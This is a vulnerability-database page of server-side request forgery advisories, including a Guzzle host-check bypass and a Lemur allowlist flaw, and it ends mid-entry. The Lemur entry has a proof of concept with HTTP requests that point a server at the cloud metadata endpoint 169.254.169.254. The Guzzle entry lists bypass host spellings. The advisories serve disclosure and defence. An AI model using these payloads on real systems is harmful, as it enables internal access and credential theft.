CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
5585 vulnerabilities reference this CWE, most recent first.
GHSA-V5G8-P43F-VV3P
Vulnerability from github – Published: 2024-04-06 21:30 – Updated: 2024-08-01 15:31An issue in Ladder v.0.0.1 thru v.0.0.21 allows a remote attacker to obtain sensitive information via a crafted request to the API.
{
"affected": [],
"aliases": [
"CVE-2024-27620"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-06T19:15:07Z",
"severity": "HIGH"
},
"details": "An issue in Ladder v.0.0.1 thru v.0.0.21 allows a remote attacker to obtain sensitive information via a crafted request to the API.",
"id": "GHSA-v5g8-p43f-vv3p",
"modified": "2024-08-01T15:31:37Z",
"published": "2024-04-06T21:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27620"
},
{
"type": "WEB",
"url": "https://everywall.github.io"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/177506/Ladder-0.0.21-Server-Side-Request-Forgery.html"
},
{
"type": "WEB",
"url": "http://ladder.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V5J5-586P-Q8QM
Vulnerability from github – Published: 2024-12-17 06:30 – Updated: 2024-12-17 06:30The WP All Import Pro plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.9.3 due to missing SSRF protection on the pmxi_curl_download function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. On cloud platforms, it might allow attackers to read the Instance metadata.
{
"affected": [],
"aliases": [
"CVE-2024-9624"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-17T06:15:21Z",
"severity": "HIGH"
},
"details": "The WP All Import Pro plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.9.3 due to missing SSRF protection on the pmxi_curl_download function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. On cloud platforms, it might allow attackers to read the Instance metadata.",
"id": "GHSA-v5j5-586p-q8qm",
"modified": "2024-12-17T06:30:34Z",
"published": "2024-12-17T06:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9624"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/eabde2e7-5cd4-4c3e-959a-69e04f6350d3?source=cve"
},
{
"type": "WEB",
"url": "https://www.wpallimport.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V5JF-XRP6-XCRP
Vulnerability from github – Published: 2022-05-14 02:57 – Updated: 2022-05-14 02:57An SSRF vulnerability was discovered in idreamsoft iCMS before V7.0.11 because the remote function in app/spider/spider_tools.class.php does not block private and reserved IP addresses such as 10.0.0.0/8. NOTE: this vulnerability exists because of an incomplete fix for CVE-2018-14514.
{
"affected": [],
"aliases": [
"CVE-2018-14858"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-02T20:29:00Z",
"severity": "HIGH"
},
"details": "An SSRF vulnerability was discovered in idreamsoft iCMS before V7.0.11 because the remote function in app/spider/spider_tools.class.php does not block private and reserved IP addresses such as 10.0.0.0/8. NOTE: this vulnerability exists because of an incomplete fix for CVE-2018-14514.",
"id": "GHSA-v5jf-xrp6-xcrp",
"modified": "2022-05-14T02:57:53Z",
"published": "2022-05-14T02:57:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14858"
},
{
"type": "WEB",
"url": "https://github.com/idreamsoft/iCMS/issues/33"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V5MV-P594-2X33
Vulnerability from github – Published: 2026-08-03 21:07 – Updated: 2026-08-03 21:07Impact
In affected versions, Guzzle gives a transport the request URI as text and supplies the Host header separately. The cURL handlers set CURLOPT_URL to the URI exactly as written and push that Host into CURLOPT_HTTPHEADER; StreamHandler does the same through fopen(). libcurl then parses the authority itself, percent-decoding it and, on an IDN-capable build, applying IDNA mapping, and uses the result to resolve, connect, name the TLS peer and address a proxy CONNECT, while the supplied Host suppresses the aligned one it would have generated. In http://127.0.0.%31/ the URI host is one filter_var() rejects as an IP literal, yet libcurl decodes it to 127.0.0.1 and reaches loopback with no DNS lookup while the server receives Host: 127.0.0.%31.
An attacker who influences a fetched URI can therefore reach a host the application's checks excluded and read whatever it exposes of the response. The same divergence moves Guzzle's own decisions onto a spelling the transport does not use: no_proxy selects proxy routing from the literal host, and RedirectMiddleware decides from it whether to strip Authorization and Cookie. The cookie middleware extracts Set-Cookie against the URI Guzzle produced, not the authority contacted, so for a raw divergent URI the cookie is stored under the URI host as written. Where Guzzle rewrote that URI but left a divergent Host, or where the caller supplied one, the cookie is stored under the canonical name and replayed by ordinary later requests to it. With a third-party UriInterface, a host of blocked.example.com@127.0.0.1 reaches 127.0.0.1 through all three handlers and generates Authorization: Basic from userinfo the application never wrote.
Exploitation requires the application to build a request URI from untrusted input and to make a host decision before handing it to Guzzle. Applications that only fetch URIs they construct themselves are not affected, and an exact allowlist of canonical names ordinarily fails closed; the exposure is to denylists, private-range and IP-literal checks, and any check that treats an unresolvable name as safe. The raw Unicode class needs an IDNA transformation somewhere: either a libcurl built with IDN support or Guzzle's own idn_conversion, off by default on both branches, which rewrites the URI in Client::buildUri() before a handler sees it and leaves a prebuilt request's explicit Host as written, while a request the client builds derives that header from the rewritten URI and produces no divergence. Noncanonical numeric spellings such as 127.1, 2130706433, 0x7f000001 and 0177.0.0.1 remain accepted after the patch and reach whatever the transport reads them as, loopback or a routable public host, and the cURL and stream handlers can differ, so a check comparing a host against an address as text stays bypassable. Guzzle does not offer SSRF protection, and neither cache poisoning nor cross-tenant compromise was established.
Patches
This is a summary; the patches are the authority. The issue is fixed in 7.15.2 and 8.0.1, which validate the request host in all three built-in handlers before any network I/O. A URI host is rejected for a byte outside 0x21 to 0x7E, a percent escape, a URI authority delimiter, unbalanced brackets, or numeric-looking parts followed by a trailing dot. That last rule is deliberately conservative and also refuses out-of-range forms libcurl keeps as names, such as 256.0.0.1.. An explicit Host header must be printable ASCII, and on 7.15.2 free of percent escapes. The client also regenerates a derived Host when it rewrites the request URI. Versions before 7.15.2 and version 8.0.0 are affected.
Workarounds
If you cannot upgrade, constrain the host yourself before handing a URI to Guzzle, and constrain any explicit Host header separately, on every redirect hop. The URI rule assumes $uri is a validated GuzzleHttp\Psr7\Uri, so re-parse a third-party UriInterface with new Uri((string) $uri) first.
$host = $uri->getHost();
if (
preg_match('/\A[\x21-\x7E]*\z/D', $host) !== 1
|| strpbrk($host, '%@/?#\\') !== false
|| substr($host, -1) === '.'
) {
throw new RuntimeException('Refusing to fetch this URI host.');
}
if (
preg_match('/\A[\x21-\x7E]*\z/D', $hostHeader) !== 1
|| strpos($hostHeader, '%') !== false
) {
throw new RuntimeException('Refusing to send this Host header.');
}
It differs from the patch in both directions: it refuses example.com., which the patch accepts, and it does not canonicalize 127.1 or 0x7f000001. Reparsing the URI separates a valid port from the host and rejects malformed bracket forms, so the snippet checks the host component alone. idn_conversion => true is not an access control, since IDNA maps 127。0。0。1 onto 127.0.0.1 and direct handler use bypasses it, and Uri::getHost() is not an SSRF boundary: it is the host as written, not the host a transport connects to. Where the destination matters, resolve the host and check the addresses, and use a separate cookie jar for untrusted origins.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "guzzlehttp/guzzle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.15.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "guzzlehttp/guzzle"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69246"
],
"database_specific": {
"cwe_ids": [
"CWE-180",
"CWE-436",
"CWE-918",
"CWE-941"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-03T21:07:26Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nIn affected versions, Guzzle gives a transport the request URI as text and supplies the `Host` header separately. The cURL handlers set `CURLOPT_URL` to the URI exactly as written and push that `Host` into `CURLOPT_HTTPHEADER`; `StreamHandler` does the same through `fopen()`. libcurl then parses the authority itself, percent-decoding it and, on an IDN-capable build, applying IDNA mapping, and uses the result to resolve, connect, name the TLS peer and address a proxy `CONNECT`, while the supplied `Host` suppresses the aligned one it would have generated. In `http://127.0.0.%31/` the URI host is one `filter_var()` rejects as an IP literal, yet libcurl decodes it to `127.0.0.1` and reaches loopback with no DNS lookup while the server receives `Host: 127.0.0.%31`.\n\nAn attacker who influences a fetched URI can therefore reach a host the application\u0027s checks excluded and read whatever it exposes of the response. The same divergence moves Guzzle\u0027s own decisions onto a spelling the transport does not use: `no_proxy` selects proxy routing from the literal host, and `RedirectMiddleware` decides from it whether to strip `Authorization` and `Cookie`. The cookie middleware extracts `Set-Cookie` against the URI Guzzle produced, not the authority contacted, so for a raw divergent URI the cookie is stored under the URI host as written. Where Guzzle rewrote that URI but left a divergent `Host`, or where the caller supplied one, the cookie is stored under the canonical name and replayed by ordinary later requests to it. With a third-party `UriInterface`, a host of `blocked.example.com@127.0.0.1` reaches `127.0.0.1` through all three handlers and generates `Authorization: Basic` from userinfo the application never wrote.\n\nExploitation requires the application to build a request URI from untrusted input and to make a host decision before handing it to Guzzle. Applications that only fetch URIs they construct themselves are not affected, and an exact allowlist of canonical names ordinarily fails closed; the exposure is to denylists, private-range and IP-literal checks, and any check that treats an unresolvable name as safe. The raw Unicode class needs an IDNA transformation somewhere: either a libcurl built with IDN support or Guzzle\u0027s own `idn_conversion`, off by default on both branches, which rewrites the URI in `Client::buildUri()` before a handler sees it and leaves a prebuilt request\u0027s explicit `Host` as written, while a request the client builds derives that header from the rewritten URI and produces no divergence. Noncanonical numeric spellings such as `127.1`, `2130706433`, `0x7f000001` and `0177.0.0.1` remain accepted after the patch and reach whatever the transport reads them as, loopback or a routable public host, and the cURL and stream handlers can differ, so a check comparing a host against an address as text stays bypassable. Guzzle does not offer SSRF protection, and neither cache poisoning nor cross-tenant compromise was established.\n\n### Patches\n\nThis is a summary; the patches are the authority. The issue is fixed in `7.15.2` and `8.0.1`, which validate the request host in all three built-in handlers before any network I/O. A URI host is rejected for a byte outside `0x21` to `0x7E`, a percent escape, a URI authority delimiter, unbalanced brackets, or numeric-looking parts followed by a trailing dot. That last rule is deliberately conservative and also refuses out-of-range forms libcurl keeps as names, such as `256.0.0.1.`. An explicit `Host` header must be printable ASCII, and on `7.15.2` free of percent escapes. The client also regenerates a derived `Host` when it rewrites the request URI. Versions before `7.15.2` and version `8.0.0` are affected.\n\n### Workarounds\n\nIf you cannot upgrade, constrain the host yourself before handing a URI to Guzzle, and constrain any explicit `Host` header separately, on every redirect hop. The URI rule assumes `$uri` is a validated `GuzzleHttp\\Psr7\\Uri`, so re-parse a third-party `UriInterface` with `new Uri((string) $uri)` first.\n\n```php\n$host = $uri-\u003egetHost();\n\nif (\n preg_match(\u0027/\\A[\\x21-\\x7E]*\\z/D\u0027, $host) !== 1\n || strpbrk($host, \u0027%@/?#\\\\\u0027) !== false\n || substr($host, -1) === \u0027.\u0027\n) {\n throw new RuntimeException(\u0027Refusing to fetch this URI host.\u0027);\n}\n\nif (\n preg_match(\u0027/\\A[\\x21-\\x7E]*\\z/D\u0027, $hostHeader) !== 1\n || strpos($hostHeader, \u0027%\u0027) !== false\n) {\n throw new RuntimeException(\u0027Refusing to send this Host header.\u0027);\n}\n```\n\nIt differs from the patch in both directions: it refuses `example.com.`, which the patch accepts, and it does not canonicalize `127.1` or `0x7f000001`. Reparsing the URI separates a valid port from the host and rejects malformed bracket forms, so the snippet checks the host component alone. `idn_conversion =\u003e true` is not an access control, since IDNA maps `\uff11\uff12\uff17\u3002\uff10\u3002\uff10\u3002\uff11` onto `127.0.0.1` and direct handler use bypasses it, and `Uri::getHost()` is not an SSRF boundary: it is the host as written, not the host a transport connects to. Where the destination matters, resolve the host and check the addresses, and use a separate cookie jar for untrusted origins.",
"id": "GHSA-v5mv-p594-2x33",
"modified": "2026-08-03T21:07:26Z",
"published": "2026-08-03T21:07:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/security/advisories/GHSA-v5mv-p594-2x33"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/pull/3907"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/pull/3908"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/commit/3aeea0406aab88cbbd86531313d7cebf8ae149a4"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/commit/744101956d78b7c1384d0cbf379db13e859167bf"
},
{
"type": "PACKAGE",
"url": "https://github.com/guzzle/guzzle"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/releases/tag/7.15.2"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/releases/tag/8.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Guzzle: Noncanonical host can bypass host-based checks"
}
GHSA-V5QC-4RXP-7VRF
Vulnerability from github – Published: 2025-08-20 15:31 – Updated: 2025-08-20 15:31CWE-918: Server-Side Request Forgery (SSRF) vulnerability exists that could cause unauthorized access to sensitive data when an attacker sends a specially crafted document to a vulnerable endpoint.
{
"affected": [],
"aliases": [
"CVE-2025-54924"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-20T14:15:46Z",
"severity": "HIGH"
},
"details": "CWE-918: Server-Side Request Forgery (SSRF) vulnerability exists that could cause unauthorized access to sensitive data when an attacker sends a specially crafted document to a vulnerable endpoint.",
"id": "GHSA-v5qc-4rxp-7vrf",
"modified": "2025-08-20T15:31:42Z",
"published": "2025-08-20T15:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54924"
},
{
"type": "WEB",
"url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-224-02\u0026p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2025-224-02.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V5RC-CPWC-CFPR
Vulnerability from github – Published: 2026-08-18 20:51 – Updated: 2026-08-18 20:51Summary
The fix for GHSA-v2wp-frmc-5q3v added _validate_acme_url() to reject acme_url values not in ACME_DIRECTORY_HOST_ALLOWLIST, but the validation is only called at authority creation time (POST). The authority update endpoint (PUT /api/1/authorities/<id>) accepts and stores arbitrary options -- including a modified acme_url -- without invoking the allowlist check. Any user with an authority role (granted by an admin to allow issuing certificates via that authority) can therefore overwrite the stored acme_url with an internal IP or IMDS endpoint. The next certificate issuance via that authority causes Lemur's backend to fetch the attacker-controlled URL, achieving SSRF.
Details
Where the fix lives (POST path -- protected):
lemur/plugins/lemur_acme/plugin.py lines 333-337 (ACMEIssuerPlugin.create_authority):
for option in plugin_options:
if option.get("name") == "certificate":
acme_root = option.get("value")
if option.get("name") == "acme_url":
_validate_acme_url(option.get("value", "")) # allowlist enforced
_validate_acme_url at line 35:
def _validate_acme_url(url):
"""Reject acme_url values that are not in the configured allowlist.
Called at authority creation time only -- existing authorities in the DB
were already trusted when they were created and are not re-validated.
"""
allowed_hosts = current_app.config.get(
"ACME_DIRECTORY_HOST_ALLOWLIST",
{"acme-v02.api.letsencrypt.org", ...},
)
parsed = urlparse(url)
if parsed.scheme != "https" or parsed.hostname not in allowed_hosts:
raise InvalidConfiguration(...)
Where the gap is (PUT path -- unprotected):
lemur/authorities/views.py lines 405-424 (Authorities.put):
authority = service.get(authority_id)
roles = [x.name for x in authority.roles]
permission = AuthorityPermission(authority_id, roles)
if not permission.can() or not StrictRolePermission().can():
return dict(message="You are not authorized to update this authority."), 403
return service.update(
authority_id,
owner=data["owner"],
description=data["description"],
active=data["active"],
roles=data["roles"],
options=data.get("options") # stored verbatim -- no ACME URL check
)
lemur/authorities/service.py lines 28-46 (update):
def update(authority_id, description, owner, active, roles, options=None):
authority = get(authority_id)
authority.roles = roles
authority.active = active
authority.description = description
authority.owner = owner
if options:
authority.options = options # written to DB with no _validate_acme_url call
return database.update(authority)
Where the SSRF sink is:
lemur/plugins/lemur_acme/acme_handlers.py lines 157-188:
for option in json.loads(authority.options):
options[option["name"]] = option.get("value")
directory_url = options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL"))
...
directory = ClientV2.get_directory(directory_url, net) # outbound HTTP to stored URL
With the default configuration (LEMUR_STRICT_ROLE_ENFORCEMENT = False, reverted in 1.9.2 per the GHSA-qcqw-jwxc-2hqg correction), StrictRolePermission().can() passes for any non-read-only user. Any user granted membership in an authority's role group by an admin can therefore call PUT /api/1/authorities/<id> to overwrite acme_url with an arbitrary URL. The allowlist enforced at creation is silently discarded.
PoC
Prerequisites:
- Lemur 1.9.2, default config (LEMUR_STRICT_ROLE_ENFORCEMENT not set, defaults to False)
- Admin grants non-admin user membership in an ACME authority's role (normal operational step to allow certificate issuance)
- Attacker has a valid Lemur session token
Step 1 -- Authenticate as the non-admin user (role: TestRootCA_operator):
POST /api/1/auth/login HTTP/1.1
Host: lemur.example.com
Content-Type: application/json
{"username": "alice", "password": "..."}
Response (truncated):
{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
Step 2 -- Confirm identity (non-admin, no global operator role):
GET /api/1/auth/me HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Response:
{"username": "alice", "id": 2, "roles": [{"name": "TestRootCA_operator"}]}
Step 3 -- Overwrite acme_url with an internal IMDS endpoint via authority update:
PUT /api/1/authorities/1 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json
{
"owner": "security@example.com",
"description": "Let's Encrypt Production",
"active": true,
"roles": [{"id": 5}, {"id": 6}, {"id": 7}],
"options": "[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"
}
Response (HTTP 200 -- no validation error):
{
"id": 1,
"name": "TestRootCA",
"description": "Let's Encrypt Production",
"options": [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}],
...
}
Live validation output (observed on Lemur 1.9.2, 2026-06-19):
User: nonadvuln | ID: 2 | Roles: ['TestRootCA_operator']
PUT /api/1/authorities/1 -> HTTP 200
stored options: [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}]
DB confirm (psql):
SELECT options FROM authorities WHERE id=1;
"[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"
Step 4 -- Trigger SSRF:
Issue any certificate via authority 1 (using the same or any other user with certificate issuance rights). Lemur's celery worker calls AcmeHandler.setup_acme_client(), which executes:
directory_url = options.get("acme_url", ...) # reads stored malicious URL
directory = ClientV2.get_directory(directory_url, net) # outbound request
The backend issues an HTTP GET to http://169.254.169.254/latest/meta-data/, achieving SSRF to the instance metadata service (or any other internal endpoint the Lemur host can reach).
Suggested fix:
Call _validate_acme_url() inside service.update() (or in Authorities.put) whenever the options field is provided and the authority uses an ACME-based issuer plugin:
# in lemur/authorities/service.py update()
if options:
from lemur.plugins.lemur_acme.plugin import _validate_acme_url
import json
for opt in json.loads(options) if isinstance(options, str) else options:
if opt.get("name") == "acme_url":
_validate_acme_url(opt.get("value", ""))
authority.options = options
Impact
An authenticated Lemur user who has been granted membership in any ACME authority's role group can overwrite that authority's acme_url with an arbitrary URL, bypassing the ACME_DIRECTORY_HOST_ALLOWLIST enforced at creation time. On the next certificate issuance via that authority, Lemur's backend issues an outbound HTTP request to the attacker-controlled URL. In cloud-hosted deployments this allows reading the instance metadata service (AWS IMDSv1, GCP metadata server, Azure IMDS), potentially yielding IAM credentials or other sensitive instance data. In on-premises or private-cloud deployments this allows probing internal services that the Lemur server can reach but external callers cannot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.9.2"
},
"package": {
"ecosystem": "PyPI",
"name": "lemur"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-71303"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T20:51:21Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe fix for GHSA-v2wp-frmc-5q3v added `_validate_acme_url()` to reject `acme_url` values not in `ACME_DIRECTORY_HOST_ALLOWLIST`, but the validation is only called at **authority creation time** (POST). The authority **update** endpoint (`PUT /api/1/authorities/\u003cid\u003e`) accepts and stores arbitrary `options` -- including a modified `acme_url` -- without invoking the allowlist check. Any user with an authority role (granted by an admin to allow issuing certificates via that authority) can therefore overwrite the stored `acme_url` with an internal IP or IMDS endpoint. The next certificate issuance via that authority causes Lemur\u0027s backend to fetch the attacker-controlled URL, achieving SSRF.\n\n### Details\n\n**Where the fix lives (POST path -- protected):**\n\n`lemur/plugins/lemur_acme/plugin.py` lines 333-337 (ACMEIssuerPlugin.create_authority):\n```python\nfor option in plugin_options:\n if option.get(\"name\") == \"certificate\":\n acme_root = option.get(\"value\")\n if option.get(\"name\") == \"acme_url\":\n _validate_acme_url(option.get(\"value\", \"\")) # allowlist enforced\n```\n\n`_validate_acme_url` at line 35:\n```python\ndef _validate_acme_url(url):\n \"\"\"Reject acme_url values that are not in the configured allowlist.\n\n Called at authority creation time only -- existing authorities in the DB\n were already trusted when they were created and are not re-validated.\n \"\"\"\n allowed_hosts = current_app.config.get(\n \"ACME_DIRECTORY_HOST_ALLOWLIST\",\n {\"acme-v02.api.letsencrypt.org\", ...},\n )\n parsed = urlparse(url)\n if parsed.scheme != \"https\" or parsed.hostname not in allowed_hosts:\n raise InvalidConfiguration(...)\n```\n\n**Where the gap is (PUT path -- unprotected):**\n\n`lemur/authorities/views.py` lines 405-424 (`Authorities.put`):\n```python\nauthority = service.get(authority_id)\nroles = [x.name for x in authority.roles]\npermission = AuthorityPermission(authority_id, roles)\n\nif not permission.can() or not StrictRolePermission().can():\n return dict(message=\"You are not authorized to update this authority.\"), 403\n\nreturn service.update(\n authority_id,\n owner=data[\"owner\"],\n description=data[\"description\"],\n active=data[\"active\"],\n roles=data[\"roles\"],\n options=data.get(\"options\") # stored verbatim -- no ACME URL check\n)\n```\n\n`lemur/authorities/service.py` lines 28-46 (`update`):\n```python\ndef update(authority_id, description, owner, active, roles, options=None):\n authority = get(authority_id)\n authority.roles = roles\n authority.active = active\n authority.description = description\n authority.owner = owner\n if options:\n authority.options = options # written to DB with no _validate_acme_url call\n return database.update(authority)\n```\n\n**Where the SSRF sink is:**\n\n`lemur/plugins/lemur_acme/acme_handlers.py` lines 157-188:\n```python\nfor option in json.loads(authority.options):\n options[option[\"name\"]] = option.get(\"value\")\ndirectory_url = options.get(\"acme_url\", current_app.config.get(\"ACME_DIRECTORY_URL\"))\n...\ndirectory = ClientV2.get_directory(directory_url, net) # outbound HTTP to stored URL\n```\n\nWith the default configuration (`LEMUR_STRICT_ROLE_ENFORCEMENT = False`, reverted in 1.9.2 per the GHSA-qcqw-jwxc-2hqg correction), `StrictRolePermission().can()` passes for any non-read-only user. Any user granted membership in an authority\u0027s role group by an admin can therefore call `PUT /api/1/authorities/\u003cid\u003e` to overwrite `acme_url` with an arbitrary URL. The allowlist enforced at creation is silently discarded.\n\n### PoC\n\n**Prerequisites:**\n- Lemur 1.9.2, default config (`LEMUR_STRICT_ROLE_ENFORCEMENT` not set, defaults to `False`)\n- Admin grants non-admin user membership in an ACME authority\u0027s role (normal operational step to allow certificate issuance)\n- Attacker has a valid Lemur session token\n\n**Step 1 -- Authenticate as the non-admin user (role: TestRootCA_operator):**\n\n```\nPOST /api/1/auth/login HTTP/1.1\nHost: lemur.example.com\nContent-Type: application/json\n\n{\"username\": \"alice\", \"password\": \"...\"}\n```\n\nResponse (truncated):\n```json\n{\"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\"}\n```\n\n**Step 2 -- Confirm identity (non-admin, no global operator role):**\n\n```\nGET /api/1/auth/me HTTP/1.1\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\n```\n\nResponse:\n```json\n{\"username\": \"alice\", \"id\": 2, \"roles\": [{\"name\": \"TestRootCA_operator\"}]}\n```\n\n**Step 3 -- Overwrite acme_url with an internal IMDS endpoint via authority update:**\n\n```\nPUT /api/1/authorities/1 HTTP/1.1\nHost: lemur.example.com\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\nContent-Type: application/json\n\n{\n \"owner\": \"security@example.com\",\n \"description\": \"Let\u0027s Encrypt Production\",\n \"active\": true,\n \"roles\": [{\"id\": 5}, {\"id\": 6}, {\"id\": 7}],\n \"options\": \"[{\\\"name\\\": \\\"acme_url\\\", \\\"value\\\": \\\"http://169.254.169.254/latest/meta-data/\\\"}]\"\n}\n```\n\nResponse (HTTP 200 -- no validation error):\n```json\n{\n \"id\": 1,\n \"name\": \"TestRootCA\",\n \"description\": \"Let\u0027s Encrypt Production\",\n \"options\": [{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}],\n ...\n}\n```\n\n**Live validation output (observed on Lemur 1.9.2, 2026-06-19):**\n\n```\nUser: nonadvuln | ID: 2 | Roles: [\u0027TestRootCA_operator\u0027]\n\nPUT /api/1/authorities/1 -\u003e HTTP 200\nstored options: [{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]\n\nDB confirm (psql):\nSELECT options FROM authorities WHERE id=1;\n\"[{\\\"name\\\": \\\"acme_url\\\", \\\"value\\\": \\\"http://169.254.169.254/latest/meta-data/\\\"}]\"\n```\n\n**Step 4 -- Trigger SSRF:**\n\nIssue any certificate via authority 1 (using the same or any other user with certificate issuance rights). Lemur\u0027s celery worker calls `AcmeHandler.setup_acme_client()`, which executes:\n\n```python\ndirectory_url = options.get(\"acme_url\", ...) # reads stored malicious URL\ndirectory = ClientV2.get_directory(directory_url, net) # outbound request\n```\n\nThe backend issues an HTTP GET to `http://169.254.169.254/latest/meta-data/`, achieving SSRF to the instance metadata service (or any other internal endpoint the Lemur host can reach).\n\n**Suggested fix:**\n\nCall `_validate_acme_url()` inside `service.update()` (or in `Authorities.put`) whenever the `options` field is provided and the authority uses an ACME-based issuer plugin:\n\n```python\n# in lemur/authorities/service.py update()\nif options:\n from lemur.plugins.lemur_acme.plugin import _validate_acme_url\n import json\n for opt in json.loads(options) if isinstance(options, str) else options:\n if opt.get(\"name\") == \"acme_url\":\n _validate_acme_url(opt.get(\"value\", \"\"))\n authority.options = options\n```\n\n### Impact\n\nAn authenticated Lemur user who has been granted membership in any ACME authority\u0027s role group can overwrite that authority\u0027s `acme_url` with an arbitrary URL, bypassing the `ACME_DIRECTORY_HOST_ALLOWLIST` enforced at creation time. On the next certificate issuance via that authority, Lemur\u0027s backend issues an outbound HTTP request to the attacker-controlled URL. In cloud-hosted deployments this allows reading the instance metadata service (AWS IMDSv1, GCP metadata server, Azure IMDS), potentially yielding IAM credentials or other sensitive instance data. In on-premises or private-cloud deployments this allows probing internal services that the Lemur server can reach but external callers cannot.",
"id": "GHSA-v5rc-cpwc-cfpr",
"modified": "2026-08-18T20:51:21Z",
"published": "2026-08-18T20:51:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/security/advisories/GHSA-v5rc-cpwc-cfpr"
},
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/commit/edca0390f930344d65ff4ca37a669c2320e3dfad"
},
{
"type": "PACKAGE",
"url": "https://github.com/Netflix/lemur"
},
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/releases/tag/v1.9.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Lemur: Incomplete fix for GHSA-v2wp-frmc-5q3v -- ACME authority update endpoint allows non-admin to replace `acme_url` with internal IP, bypassing allowlist"
}
GHSA-V623-92C3-F29P
Vulnerability from github – Published: 2025-01-17 21:31 – Updated: 2025-01-18 00:30OtCMS <=V7.46 is vulnerable to Server-Side Request Forgery (SSRF) in /admin/read.php, which can Read system files arbitrarily.
{
"affected": [],
"aliases": [
